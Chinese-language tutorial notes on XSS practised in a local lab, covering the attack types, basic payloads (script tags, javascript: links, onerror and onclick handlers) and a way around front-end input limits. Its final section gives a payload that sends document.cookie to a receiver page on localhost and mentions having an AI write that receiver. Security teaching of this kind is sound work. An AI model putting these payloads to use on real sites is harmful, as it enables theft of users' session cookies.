一.警示
1.不要一上来就爆破,流量太大,在sqlmap受限时,试试sql注入和接下来的xss注入探测漏洞
2.没有授权不要随便攻击网站,特别是存储型网站
二.XSS漏洞形成原因及目的
XSS跨站脚本攻击(Cross-Site Scripting,XSS),由于用户可以控制输入且Web应用程序对用户的输入输出过滤不足,攻击者利用网站漏洞将恶意脚本代码(通常包括HTML代码和客户端javascript脚本)注入到网站中,可能注入到数据库中,当其他用户浏览网页时会执行恶意代码。
在没有实现跨站的情况下,页面因为hk攻击产生异常显示出的用户cookie等信息无法直接传入hk手中,为了让用户无法看到注入后的异常且hk拿到需要的信息,hk将搭建自己的网站,将数据发送到自己的网站,实现跨站。
目的:偷取用户的cookie等信息。

三.靶场演练
靶场安全等级记得改一下,搭建一样的要连接数据库,浏览器使用回环地址和端口搜索
XSS脚本攻击:
利用标签<>构造HTML/JS语句 <script>alert(document.cookie)</script>
利用javascript伪协议构造 <a href="javascript:alert(1)">点我</a>
事件驱动
<input type="text" onmouseover="alert(1)"> 鼠标悬停
<input type="button" onclick="alert(1)"> 点击事件
<img src="#" onerror="alert(1)"> 报错
XSS攻击类型:
1.DOM型XSS
恶意载荷拼接到url后,不会传入服务器

通过修改default参数值,让前端JS直接把参数值插入DOM
2.反射型XSS
你提交的数据成功实现XSS,但仅对此次生效,非持久性攻击。少交点水洞。

将上述代码的1换位document.cookie
3.存储型XSS
你提交的数据成功实现XSS,存入数据库,其他人访问页面时自动触发,持久性攻击
打漏洞时,如果遇到某些对输入进行了限制,没关系,前端限制相当于没限制,右键检查对输入长度进行修改。要是数据库进行限制当我没说。

再注入没有被拦截的代码,普通用户查看界面时将受到影响
四.实现跨站操作
不会写让AI帮忙生成两个网站的php文件,一个cookie.php用于接受存储传来的cookie,还有一个cookie_result.php用来展示接收到的cookie
注意DNS解析,所以采用本地测试,将文件移入localhost内的xss文件中,搜索时localhost/xss/cookie.php
此时攻击的payload有区别,例**<a href='http://localhost/xss/cookie.php?c='+document.cookie\>link</a>**
